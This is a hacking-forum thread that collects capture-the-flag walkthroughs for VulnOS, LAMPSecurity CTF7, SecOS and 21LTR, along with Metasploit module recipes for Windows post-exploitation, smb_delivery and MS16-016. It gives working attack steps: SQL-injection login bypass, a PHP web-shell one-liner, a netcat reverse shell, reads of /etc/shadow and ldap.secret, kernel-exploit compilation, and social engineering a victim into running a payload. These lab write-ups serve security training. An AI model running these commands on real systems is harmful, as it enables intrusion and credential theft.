This Module lists current TCP sessions.
msf > use post/windows/gather/tcpnetstat
msf post(tcpnetstat) > set session 1
msf post(tcpnetstat) > exploit
Find All Installed Application in Server
This module will enumerate all installed applications
msf > use post/windows/gather/enum_applications
msf post(enum_applications) > set session 1
msf post(enum_applications) > exploit
![[Image: 7.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-rqDvP8MkiGc/V6r6GVa-WpI/AAAAAAAANGQ/uyRV7cla1QI9La5fyBMyaxSVr2vywZwgACLcB/s1600/7.png?w=687&ssl=1)
Find All Remote Desktop Session
This module dumps MRU and connection data for RDP sessions.
msf > use post/windows/gather/enum_termserv
msf post(enum_termserv) > set session 1
msf post(enum_termserv) > exploit
|
|
|
|
| [Guide] How to Hack the VulnOS: 1 (CTF Challenge) |
|
Posted by: NINZA - 04-24-2020, 02:02 PM - Forum: General Discussion
- No Replies
|
 |
Hello friends! Today we are going to take another CTF challenge known as VulnOS 1 presented by the [To see content please register here] . It is another Capture the Flag challenge provided for practice and its security level is for the beginners. You can download this VM from here.
Now let’s try to break through it.
Penetrating Methodologies - Network Scanning (Nmap, netdiscover)
- Surfing HTTP service port (80)
- Exploiting the distccd vulnerability to get files
- Login into target machine via SSH
- Exploiting target with SUDO rights
- Get the Root access and the flag
Let’s Breach!
Start off with finding the target using:
netdiscover
1
netdiscover
![[Image: 1.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-eM3PqGxaJuE/W2vxO6P-eVI/AAAAAAAAZig/0A7NSSutQr473d-2rqhHwuRUkqcOhsZEACLcBGAs/s1600/1.png?w=687&ssl=1)
Our Target is 192.168.1.135, now we will scan the target for open ports and running services using nmap.
nmap -sV -p- 192.168.1.135
1
nmap -sV -p- 192.168.1.135
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-khmuh6mmxeU/W2vxQZBs2rI/AAAAAAAAZjA/sH3kI-7Vb-cX6wJh_Nnx5sjUMFPLeEMNgCLcBGAs/s1600/2.png?w=687&ssl=1)
From the nmap result, we can see that there are a lot of services currently running on the Target VM, Port 80, 8080 and 10000 are available for HTTP. This tells us that the HTTP Service is currently running on the Target VM. So, let’s check it out by opening it on our browser. On opening the Target VM IP-Address on the Browser we are greeted with a webpage.
![[Image: 3.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-nWS9n3eRQSw/W2vxQTQZbrI/AAAAAAAAZjE/JquGsprwnbMBrJq1IkW4H7U_HLSxATZ6wCLcBGAs/s1600/3.png?w=687&ssl=1)
The webpage is welcoming us to VulnOS and giving us a statutory warning about not using the OS on a Live Environment. It consists a “next page>” link too. After clicking on it we are told that our goal is to get root on the Target VM.
![[Image: 4.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-s_5jM6GdZ9k/W2vxQpWGkVI/AAAAAAAAZjI/Cka2uuc1sOAX679jWNHmAlh7IlfAWqZhACLcBGAs/s1600/4.png?w=687&ssl=1)
Back to the nmap scan, we saw that the port 8080 is open too, so we tried to open that on our browser and we get the default Tomcat “It works” page.
![[Image: 5.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-HQzXCR4aS-M/W2vxRJayn-I/AAAAAAAAZjM/VzOhZCPPBWApz7G-iHU-ViO4KD9-zjBFACLcBGAs/s1600/5.png?w=687&ssl=1)
After further enumerating the Target VM we get them at the port 1000 is open to and is hosting the MiniServ Webmin Page as shown in the image. As we don’t know the login credentials. Let’s try something else
![[Image: 6.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-7tSwamtykBU/W2vxRarOruI/AAAAAAAAZjQ/I-e_VqebnOUpOXVCd7iYW7R3HBJb3WhBgCLcBGAs/s1600/6.png?w=687&ssl=1)
Time to further enumerate, on our nmap scan we saw that we have the distcc service running on port 3632 on the Target Machine. So after a little searching over the internet, I found this [To see content please register here] .
![[Image: 7.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-ks5-Cr_ZyOM/W2vxRgnCdbI/AAAAAAAAZjU/tLql50oZNogEssilu4zsvLtmWNmXhXAoACLcBGAs/s1600/7.png?w=687&ssl=1)
Now, let’s try to get the shell on the Target VM using this exploit, so we opened our Metasploit framework and searched for the distcc_exec and then using the ‘use’ keyword we selected the exploit, after that we set the target VM’s IP address as rhost and then we ran the exploit, it gets us a limited shell.
msf> use exploit/unix/misc/distcc_exec
msf exploit(unix/misc/distcc_exec)> set rhost 192.168.1.135
msf exploit(unix/misc/distcc_exec)> run
1
2
3
msf> use exploit/unix/misc/distcc_exec
msf exploit(unix/misc/distcc_exec)> set rhost 192.168.1.135
msf exploit(unix/misc/distcc_exec)> run
![[Image: 8.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-nYV-55OAYKo/W2vxRt8CByI/AAAAAAAAZjY/kXMBB-XMx64XGX6q-DdMG6k1A0vYi-k0gCLcBGAs/s1600/8.png?w=687&ssl=1)
Now time to enumerate the machine with the shell we obtained, we are going to use ps command along with grep to extract all process that can run with root privileges. We are going to use this command.
ps -aux | grep "root"
1
ps -aux | grep "root"
As you can see that the Webmin can run with root privileges, so we are going to use it to proceed further.
![[Image: 9.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-Q4Aife4AsNo/W2vxSBuW3pI/AAAAAAAAZjc/EUkPkANgz4oRUFm8yTqN8WVwjyLqryK0wCLcBGAs/s1600/9.png?w=687&ssl=1)
Now we are going to the exploit we found in the Metasploit to retrieve /etc/passwd. So that can we can escalate privilege on the Target Machine as the flag would only be accessible by the root user. This can be done as shown by using the auxiliary admin/webmin/file_disclousre
This exploit requires the IP Address of Target. We provided it as Rhost.
msf > use auxiliary/admin/webmin/file_disclosure
msf auxiliary(admin/webmin/file_disclosure) > set rhost 192.168.1.135
msf auxiliary(admin/webmin/file_disclosure) > run
1
2
3
msf > use auxiliary/admin/webmin/file_disclosure
msf auxiliary(admin/webmin/file_disclosure) > set rhost 192.168.1.135
msf auxiliary(admin/webmin/file_disclosure) > run
And we have the /etc/passwd file of the Target but this is only the half of the job because without the shadow file this file is of no use.
![[Image: 10.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-Zqds_jSFz9A/W2vxO1-xwGI/AAAAAAAAZik/BHtAZfksDXA0epUjpSD8xLWK7nYGhiLNQCLcBGAs/s1600/10.png?w=687&ssl=1)
Now we are going to extract the /etc/shadow file using the same exploit by just resetting the rpath to /etc/shadow. This can be done as shown below.
msf > use auxiliary/admin/webmin/file_disclosure
msf auxiliary(admin/webmin/file_disclosure) > set rhost 192.168.1.135
msf auxiliary(admin/webmin/file_disclosure) > set rpath /etc/shadow
msf auxiliary(admin/webmin/file_disclosure) > run
1
2
3
4
msf > use auxiliary/admin/webmin/file_disclosure
msf auxiliary(admin/webmin/file_disclosure) > set rhost 192.168.1.135
msf auxiliary(admin/webmin/file_disclosure) > set rpath /etc/shadow
msf auxiliary(admin/webmin/file_disclosure) > run
![[Image: 11.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-TY4LEiJw3so/W2vxO5V4NLI/AAAAAAAAZio/pqxtPJV0_X0toKrjaexFZbo9d6pOvMl9ACLcBGAs/s1600/11.png?w=687&ssl=1)
During our initial enumeration, we also found that the target also has LDAP installed so let’s get this file too like it as it has the login credentials and the file is only be opened with the root privileges. We are going to use the same auxiliary to download the ldap.secret
![[Image: 12.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-ljX8zlEqt8w/W2vxPbkFAOI/AAAAAAAAZis/VKzFqcj_LGQMvW4OPz9vasNgVG4O7tBjgCLcBGAs/s1600/12.png?w=687&ssl=1)
You can too extract the ldap.secret as shown below:
msf > use auxiliary/admin/webmin/file_disclosure
msf auxiliary(admin/webmin/file_disclosure) > set rhost 192.168.1.135
msf auxiliary(admin/webmin/file_disclosure) > set rpath /etc/ldap.secret
msf auxiliary(admin/webmin/file_disclosure) > run
1
2
3
4
msf > use auxiliary/admin/webmin/file_disclosure
msf auxiliary(admin/webmin/file_disclosure) > set rhost 192.168.1.135
msf auxiliary(admin/webmin/file_disclosure) > set rpath /etc/ldap.secret
msf auxiliary(admin/webmin/file_disclosure) > run
As you can see that the file contains the password “canyouhackme”.
Now, it is time to take this challenge to climax. Let’s login via ssh using the credentials info we gathered using the etc/passwd and ldap.secret.
![[Image: 13.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-u2EzjkjCwSA/W2vxPi6Ag4I/AAAAAAAAZiw/TCc08SA5KqgSZnONVXMbhqtLKivWLsZ6gCLcBGAs/s1600/13.png?w=687&ssl=1)
ssh [email protected]
Password: canyouhackme
1
2
ssh [email protected]
Password: canyouhackme
![[Image: 14.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-MqCjSHFOToQ/W2vxPzQ6qDI/AAAAAAAAZi0/OBKu7HKPmpI-lXGt9eHNSKoRboTuACW2ACLcBGAs/s1600/14.png?w=687&ssl=1)
We did get a shell but our target is to get the root so let’s further escalate the privilege of the shell using
sudo -l
1
sudo -l
On performing sudo -l, we observed that vulnosadmin has no restrictions set and has the privilege to run ALL commands with sudo
sudo bash
1
sudo bash
And this got us to the Root Shell. Now time to locate the flag and bring this Challenge to the End.
![[Image: 15.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-kkmVgmehkB4/W2vxQAkRWbI/AAAAAAAAZi8/RRcyADr4UMYOsZjDR-cic9BaLoygZvTGgCLcBGAs/s1600/15.png?w=687&ssl=1)
We didn’t have to search a lot for the flag, we moved to the Root Directory and we got the hello.txt which serves as the flag.
![[Image: 16.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-Yajdtb0PR2k/W2vxQABJPII/AAAAAAAAZi4/6DExvJ-aA7cFjKjSh2sm7NMzVuad5FRqgCLcBGAs/s1600/16.png?w=687&ssl=1)
Hello friends! Today we are going to take another CTF challenge known as LAMPSecurity CTF7 and it is another boot2root challenge provided for practice and its security level is for the beginners. So let’s try to break through it. But before please note that you can download it from here [To see content please register here]
Penetrating Methodologies- Network Scanning (Nmap)
- Login form SQL injection
- Upload php web shell
- Spawn TTY shell (Netcat)
- Mysql Login
- Steal MD5 password
- Crack MD5 hashes (John the ripper)
- SSH login
- Sudo privilege escalation
- Get root access
Walkthrough
We found our target –> 192.168.1.127
Our next step is to scan our target with NMAP.
nmap -Pn -sV 192.168.1.127
1
nmap -Pn -sV 192.168.1.127
![[Image: 1.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-J-I5X1uNweg/W2sdg1zRfRI/AAAAAAAAZg4/S9j4oovGqGcDnKtSSCnN6GL2S3M0BTIawCLcBGAs/s1600/1.png?w=687&ssl=1)
As we can observe there are so many ports are open but here three ports 80, 8080 and 10000 are available for HTTP. When we navigated to the URL [To see content please register here] and we were greeted with a Welcome page
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-bF-D6BTcDe8/W2sdiTSeU-I/AAAAAAAAZhQ/Wec4DNCNFZMLsWn8OKj39BTw58N52Cd7gCLcBGAs/s1600/2.png?w=687&ssl=1)
On exploring port 8080 we found a login page for the admin account.
![[Image: 3.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-AKyn9_jnpyg/W2sdiDa-L7I/AAAAAAAAZhM/eQfH3lh6JGIFe2QXaDamQ-A0OAFJxlr6ACLcBGAs/s1600/3.png?w=687&ssl=1)
As we don’t know the login credential, so I tried SQL injection both text filed for username and password.
![[Image: 4.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-Uasjf5ZQy5Y/W2sdi-bwUTI/AAAAAAAAZhU/C45sU-ROvL0soCrx0xfsZnj1vWuPv-znwCLcBGAs/s1600/4.png?w=687&ssl=1)
Boom!! Here we got admin dashboard access, let’s explore more.
![[Image: 5.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-KNi9ldd2bnM/W2sdjJaGeEI/AAAAAAAAZhY/q7NDqms9JVQBCGc-Us84zKuHwWjhvI64QCLcBGAs/s1600/5.png?w=687&ssl=1)
We can add new reading content for the reader, click on the Add new tab to edit your content for reading.
![[Image: 6.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-WKaUq7cTM-A/W2sdjHA2ToI/AAAAAAAAZhc/B1wJJ-aV3zYrlC-DxO8o1GWbguj6zgQdACLcBGAs/s1600/6.png?w=687&ssl=1)
Then we have uploaded php web shell present at /usr/share/webshells/php in order to compromise the web application. In the background, we have launched netcat listener 1234 to access the TTY shell of the victim’s VM.
![[Image: 7.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-4eeino10HbE/W2sdjzC4ScI/AAAAAAAAZhg/6rxoAMCPg8krOiwppsK5xFgbNhEfdUcLgCLcBGAs/s1600/7.png?w=687&ssl=1)
Since I don’t know the directory where our uploaded file is stored, therefore, I run dirb for enumerating web directories.
dirb [To see content please register here]
1
dirb [To see content please register here]
![[Image: 8.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-qAERBcENAcs/W2sdkYF4_RI/AAAAAAAAZho/F55dfmpc-Ro_DsLAC7U-rWezgNp9je1AQCLcBGAs/s1600/8.png?w=687&ssl=1)
When I navigate for the directory /assets, here I got my uploaded web shell. As we knew, netcat is ready to catch the victim’s shell as soon as we will execute our php file.
![[Image: 9.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-qQL5Pl1ylWA/W2sdkGyT6BI/AAAAAAAAZhk/0I2OGQoPjdASfKb2wgvKQ-i-9bipSa7IACLcBGAs/s1600/9.png?w=687&ssl=1)
Great!! We got the netcat session, now enter below command to obtain proper terminal of the target machine.
python -c 'import pty; pty.spawn("/bin/bash")'
1
python -c 'import pty; pty.spawn("/bin/bash")'
As we have enumerated above, the MySQL is running, then with the default credential user: root and password: blank we login successfully into the MySQL database.
mysql -u root
show databases;
1
2
mysql -u root
show databases;
![[Image: 10.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-GzlwD0raUe0/W2sdhIKOSxI/AAAAAAAAZg8/y1qmQTaijmojMwJy-PC-JYNSpLQNu0lywCLcBGAs/s1600/10.png?w=687&ssl=1)
show tables;
select username,password from users;
1
2
show tables;
select username,password from users;
Hence from inside user tables, we have found all MD5 hashes of the password.
![[Image: 11.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-ZbnWkTD-zbk/W2sdhNJc_zI/AAAAAAAAZhA/G0bwQip_ByA9hqqjgsbakDmjv_UimVI7ACLcBGAs/s1600/11.png?w=687&ssl=1)
I saved all hashes into a text file named “hashes” and use john the ripper for cracking the password.
john -w=/usr/share/wordlists/rockyou.txt -form=raw-md5 hashes
1
john -w=/usr/share/wordlists/rockyou.txt -form=raw-md5 hashes
Awesome, it works and got decrypted password, now let’s try username as brain and password as madrid for the ssh login.
![[Image: 12.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-mVD3YFZggME/W2sdhdqiSaI/AAAAAAAAZhE/tSxgLl6Ix3o1C-spGtXnPhfzzZ7_4hyhgCLcBGAs/s1600/12.png?w=687&ssl=1)
So when tried brain:madrid for ssh login, we login successfully, then we check sudo right for him. Luckily found brain is the part of sudo member and able to perform root level task. To access root privilege to complete the challenge run following command.
ssh [email protected]
sudo -l
sudo su
1
2
3
ssh [email protected]
sudo -l
sudo su
Yuppie!! We finished this challenge.
![[Image: 13.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-lBBuvFNBSzs/W2sdh7RSPrI/AAAAAAAAZhI/LFSN8-5hMTsWVSo-DIPqw-H9UlrK0XIUwCLcBGAs/s1600/13.png?w=687&ssl=1)
This module serves payloads via an SMB server and provides commands to retrieve and execute the generated payloads. Currently supports DLLs and Powershell.
Exploit Targets
Windows 7
Requirement
Attacker: kali Linux
Victim PC: Windows 7
Open Kali terminal type msfconsole
Now type use exploit/windows/smb/smb_delivery
msf exploit (smb_delivery)>set srvhost 192.168.1.101 (IP of Local Host)
msf exploit (smb_delivery)>set srvport 445
msf exploit (smb_delivery)>exploit
Now, we have to copy the rundll32.exe code generated in victim’s run bar on PC using social engineering method.
As soon as we do that, we will get access of victim’s PC.
Now type sessions –i to display sessions opened when the victim opens the link
Now the session has opened type sysinfo to get system information, then type shell to enter into Victims command prompt.
This module exploits the vulnerability in mrxdav.sys described by MS16-016. The module will spawn a process on the target system and elevate it’s privileges to NT AUTHORITY\SYSTEM before executing the specified payload within the context of the elevated process.
Exploit Targets
Windows 7
Requirement
Attacker: kali Linux
Victim PC: Windows 7
First Hack the Victim PC Using Metaspolit ([To see content please register here] )
Open Kali terminal type msfconsole
Now type use exploit/windows/local/ms16_016_webdav
msf exploit (ms16_016_webdav) set session 1
msf exploit (ms16_016_webdav)>exploit
|
|
|
|
| [Guide] How to Hack the SecOS:1 (CTF Challenge) |
|
Posted by: NINZA - 04-24-2020, 01:59 PM - Forum: General Discussion
- No Replies
|
 |
Hello readers and welcome to another CTF challenge. It is developed by PaulWebSec. The aim of this lab is to get the root on the VM and read the congratulatory message. The virtual machine can be downloaded [To see content please register here] . I quickly loaded up the machine and it was primed and ready!
Steps involved: - IP discovery and port scanning
- Running the web app
- Running a CSRF attack on the administrator
- Tricking admin to visit a fake page by sending him a message
- Waiting a few minutes to let admin visit that page
- Getting credentials and logging in SSH using these
- Running overlayfs on the system
- Getting root access!
So, let’s start.
I need not say this after so many articles but the first and foremost step is running netdiscover to find the IP address of the VM.
![[Image: 1.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-Rm4CDh5sGbU/W2lKtdT0JEI/AAAAAAAAZb0/_VPgLJ8YffY7GTLuQQ2-CzPPN31SWn3-gCLcBGAs/s1600/1.png?w=687&ssl=1)
The IP address in my case was 192.168.1.128
I run an aggressive nmap scan on this IP address to find which ports were open and the first clue to start the attack on.
nmap -A 192.168.1.128
1
nmap -A 192.168.1.128
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-eugosw7JZvc/W2lKusnXWZI/AAAAAAAAZcE/1fgdF1aCBk47ooiG2CSzPgv9Ahn8jRhewCLcBGAs/s1600/2.png?w=687&ssl=1)
We found a web app working on port 8081. Without any delay, we opened it.
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-eugosw7JZvc/W2lKusnXWZI/AAAAAAAAZcE/1fgdF1aCBk47ooiG2CSzPgv9Ahn8jRhewCLcBGAs/s1600/2.png?w=687&ssl=1)
We found a web app working on port 8081. Without any delay, we opened it.
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-HGLHxGjahmw/W2lKvAty8zI/AAAAAAAAZcI/9BlFn5gUREgbZvJlTvJAf-ch7AuC1oPjQCLcBGAs/s1600/3.png?w=687&ssl=1)
The first hint was the message shown—“Secure Web App is a part of the vulnerable VM called secOS-2”
Hence, we inferred that this VM has web-based vulnerabilities. Next step was to run a Nikto scan which didn’t yield much info either.
So, we ran dirb in hope that we find something good here.
dirb [To see content please register here]
1
dirb [To see content please register here]
![[Image: 4.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-4yYDkJyn0l0/W2lKv1z-NnI/AAAAAAAAZcU/vNkCQZtMRjIngYSbvMBRXQMPHIplUnBFgCLcBGAs/s1600/4.png?w=687&ssl=1)
Of course, there is a login page! And a login page in a web vulnerable app means a route to shell!
We moved forward to the login page directly.
![[Image: 5.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-PLfPqhHa8Cs/W2lKvgsmVII/AAAAAAAAZcQ/eB78RYAm-jMSv0RNhxYPb-sFoQqumZ6IACLcBGAs/s1600/5.png?w=687&ssl=1)
Although on inspecting the page, there were no satisfactory results there was still a register user page available to us. We headed over there.
![[Image: 6.1.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-SoWBsu9h1kI/W2lKwTi6NpI/AAAAAAAAZcY/uxP3NAvwnCgY1xOHtX_uvYIw3sKcn2lNgCLcBGAs/s1600/6.1.png?w=687&ssl=1)
Since we got redirected to the home page, it was fair to assume we got registered. Let’s try and login into the web app using that test user.
![[Image: 6.3.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-0p-UC3qMRhI/W2lKwj059eI/AAAAAAAAZcc/g7rOl9VnSFwSwOgbrfp1QK4RfkAjz5JOACLcBGAs/s1600/6.3.png?w=687&ssl=1)
There wasn’t much information on the page except for the fact we saw a “My Messages” tab on the homepage.
Although, it is worthy to note that Burp Spider showed us a page called “hint” and upon inspecting that page we found the following details:
First: The admin visits the site very frequently.
Second: He runs it locally on 127.0.0.1
Third: CSRF is applicable!
After some going around, we found under the “users” tab that Spiderman was the administrator. Could it be possible that we prompt the admin to change its password to our custom pass?
Hence, we wrote a quick HTML CSRF in a text file and saved as csrf.html inside /var/www/html.
![[Image: 7.1.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-GJYxtSHMN_A/W2lKxKG1M1I/AAAAAAAAZck/vNzublfalzoOIJon6tXJaTPLKjPj9NIVwCLcBGAs/s1600/7.1.png?w=687&ssl=1)
What this does is that it will prompt the administrator user to change its password to “passw0rd”
We saved the page to /var/www/html directory, started apache, ran the HTML code and waited for 2-3 minutes and we got logged into administrator account!
![[Image: 8.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-Qg8eRLzNVxg/W2lTTUYmEZI/AAAAAAAAZdM/KrEk4lIcx5U3c_2QBveTJuiRVP9voruFwCLcBGAs/s1600/8.png?w=687&ssl=1)
We found 2 messages from the pirate user. One had a password for unidentified service. Could it be possible that this is a password for SSH?
We tried it out!
ssh [email protected]
1
ssh [email protected]
![[Image: 10.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-fxiyIP5DAkw/W2lKsz6avsI/AAAAAAAAZbs/u5jZ3Ev4qOkkv7LGd3tRcP3R0asnnL5nQCLcBGAs/s1600/10.png?w=687&ssl=1)
It worked!!
Next up, we looked for the Kernel version of the machine.
uname -a
1
uname -a
![[Image: 16.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-QkL12yjks6Y/W2lTYxTYoTI/AAAAAAAAZdU/ncPjkUKo7YQqT9rZ2V_q8lVQtc91ov2vACLcBGAs/s1600/16.png?w=687&ssl=1)
After a couple of minutes of searching for exploits for the given kernel version, we found something worth to our cause.
![[Image: 17.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-J-0fupT_vhg/W2lTY7XK6UI/AAAAAAAAZdY/LuDkTV9Hv2YeIzGLK9deXk-tXeIj7LcggCLcBGAs/s1600/17.png?w=687&ssl=1)
It is exploitable with an exploit called “overlayfs.”
We downloaded it and ran it.
cd /tmp
wget [To see content please register here]
gcc –o exploit 37292.c
1
2
3
cd /tmp
wget [To see content please register here]
gcc –o exploit 37292.c
![[Image: 18.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-j5l5pRReRmc/W2lTZQpv-yI/AAAAAAAAZdc/DGlUa0HZeiQq64CB2WfGRPdXVez8OurQgCLcBGAs/s1600/18.png?w=687&ssl=1)
After it got compiled using gcc, we ran it using:
./exploit
whoami
1
2
./exploit
whoami
![[Image: 19.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-15RgW9KyyGw/W2lTZUcc-9I/AAAAAAAAZdg/HbRd7OTA0OYSj6Q5qnZFUWnU-iEY6cryQCLcBGAs/s1600/19.png?w=687&ssl=1)
Voila! It gave us a root shell.
cd /root
ls
cat flag.txt
1
2
3
cd /root
ls
cat flag.txt
And just like that, it was over. Hope you enjoyed.
![[Image: 20.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-GSeS_zWlSBo/W2lTZkNXiLI/AAAAAAAAZdk/AfLjXqTYauY7z3kMMNn-yaBTs5XGP5mMwCLcBGAs/s1600/20.png?w=687&ssl=1)
21LTR VM is a Boot to Root Challenge based on a scene that there is a penetration testing company and it has hired the players to perform the test on a client company’s internal network. We are given that the Target Machine has a static IP Address. You can download it from here: [To see content please register here]
Penetrating Methodologies:- Network Scanning (Nmap, Netdiscover)
- Examining HTTP web page
- FTP Login for log.php file
- Use PHP web shell one-liner
- Insert netcat reverse_shell payload
- Spawn TTY shell
- Editing passwd file for Privilege escalation
- Get Root access
Let’s Begin
Target Machine’s IP Address: 192.168.2.120
Our first step towards penetration testing is scanning our target with NMAP.
nmap 192.168.2.120
1
nmap 192.168.2.120
![[Image: 1.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-cr_yHTBtaxo/W2M-TADvmeI/AAAAAAAAZGg/41SvJvZUUl0bk1SzWCUmWLw4W6gkzM34QCEwYBhgL/s1600/1.png?w=687&ssl=1)
The result showed us that there are 4 ports opened: 21(FTP), 22(ssh), 80(HTTP), 10001(scp-config).
To further explore and we browsed URL on port 80 and we greeted with a C Program featuring a loop as shown in the given image.
[To see content please register here]
1
[To see content please register here]
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-SVFHoOFI8Gs/W2M-VN_BczI/AAAAAAAAZGU/8A3Wk_XZjb0OBodD772nVpC9k0MSo3JKQCEwYBhgL/s1600/2.png?w=687&ssl=1)
After this, we thought to check it’s the source code which leads us to some Login Credentials.
Username: logs
Password: zg]E-b0]+8 58G
1
2
Username: logs
Password: zg]E-b0]+8 58G
![[Image: 3.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-YcHWzITZJ_o/W2M-VZ57xNI/AAAAAAAAZGY/SMaWDPbC-TEHsjXvTH0vI5SUIWHOEH5pwCEwYBhgL/s1600/3.png?w=687&ssl=1)
So, we tried to connect with FTP through the login credentials we found. After the successful login, we looked around to find a backup_log.php file which we downloaded to our local machine to have a closer look.
ftp 192.168.2.120
1
ftp 192.168.2.120
![[Image: 4.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-POKiKN2iq-4/W2M-Vqt8AbI/AAAAAAAAZGg/pfRAGnrJfoA1gC8Bp_UnXWdDaTkZ1EPLgCEwYBhgL/s1600/4.png?w=687&ssl=1)
After Downloading the file to our local system, we used the cat command to open the file in our terminal as you can see that it contains a PHP program that is used to generate backup logs on the target system.
cat backup_log.php
1
cat backup_log.php
![[Image: 5.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-srhRpXVX7M4/W2M-Vtob2VI/AAAAAAAAZGo/SEL_jE1a7uAhOg4XDG5QtoHTUgRI9rh1ACEwYBhgL/s1600/5.png?w=687&ssl=1)
Let’s see what we can find by directory brute forcing.
dirb [To see content please register here]
1
dirb [To see content please register here]
![[Image: 6.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-Lp2Fma9sHts/W2M-WAor-fI/AAAAAAAAZGo/33kAqjhZRQ4D2vnyDF0cSFNhrzoC8WiswCEwYBhgL/s1600/6.png?w=687&ssl=1)
It got us some directories but /logs looks more interesting so Let’s browse [To see content please register here]
But as you can see in the image given below is that the logs directory is forbidden to access.
We tried to run some commands but didn’t get much success here.
![[Image: 7.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-X3UnMtgPCis/W2M-WsRrk2I/AAAAAAAAZGc/VV55l6mu2GEqSnDwazLenBQbRk9I4_OXwCEwYBhgL/s1600/7.png?w=687&ssl=1)
This is where we got a bit stuck so after some internet searching hours we got in touch with the author of the lab and after his hint, we got that we have to further tweak the 10001 port.
nc -nv 192.168.2.120 10001
1
nc -nv 192.168.2.120 10001
We started a netcat session on the port 10001, we got a blank shell, which uses a PHP one-liner web shell
<?php system($_GET['cmd']) ?>
1
<?php system($_GET['cmd']) ?>
![[Image: 8.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-4U4SaF3DS14/W2M-WrJeESI/AAAAAAAAZGk/V4T8rAU8fI08wsfE9_yimVG26p3zWnLcACEwYBhgL/s1600/8.png?w=687&ssl=1)
Now after using that PHP one-liner, let’s see if we can run some commands. We tried to run the whoami command. It replied with apache. This proves that we can run commands from here.
[To see content please register here]
1
[To see content please register here]
![[Image: 9.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-TbPf6tROPmU/W2M-W-EsQtI/AAAAAAAAZGg/KgY86ZB42PYYQjrYapwJ0d6Ss9E73QDaQCEwYBhgL/s1600/9.png?w=687&ssl=1)
As we observed above that the commands run successfully, now we will try to get a reverse shell on our local machine using netcat. We will be doing this as shown in the image.
[To see content please register here] -e /bin/sh 192.168.2.12 443
1
[To see content please register here] -e /bin/sh 192.168.2.12 443
![[Image: 10.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-JOmy__6o8ao/W2M-TVo13tI/AAAAAAAAZGY/nkWOskxx7TQ1hHQSGpiaU4vp770yX9kEACEwYBhgL/s1600/10.png?w=687&ssl=1)
Meanwhile, we ran that command we also started a netcat listener on our local machine so as to get the shell which will be generated.
nc -lvp 443
1
nc -lvp 443
And as you can see that we got a basic bash shell on port 443 as shown in the image.
But this was an incomplete and improper shell so we invoked a proper shell using a python one-liner
python -c 'import pty; pty.spawn("/bin/sh")'
1
python -c 'import pty; pty.spawn("/bin/sh")'
![[Image: 11.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-EkfwJ-iOxAc/W2M-TUxKOGI/AAAAAAAAZGk/M7P6Cwh0WZs9rGLaNy9lzH-ORuNmIBhhACEwYBhgL/s1600/11.png?w=687&ssl=1)
Now, we are in the target machine but still, we have to escalate the privilege to become root. Here we started to enumerate the target machine for any possible way to get root.
After looking for a while we found an RSA private key in the media directory. We copied the key to our local machine.
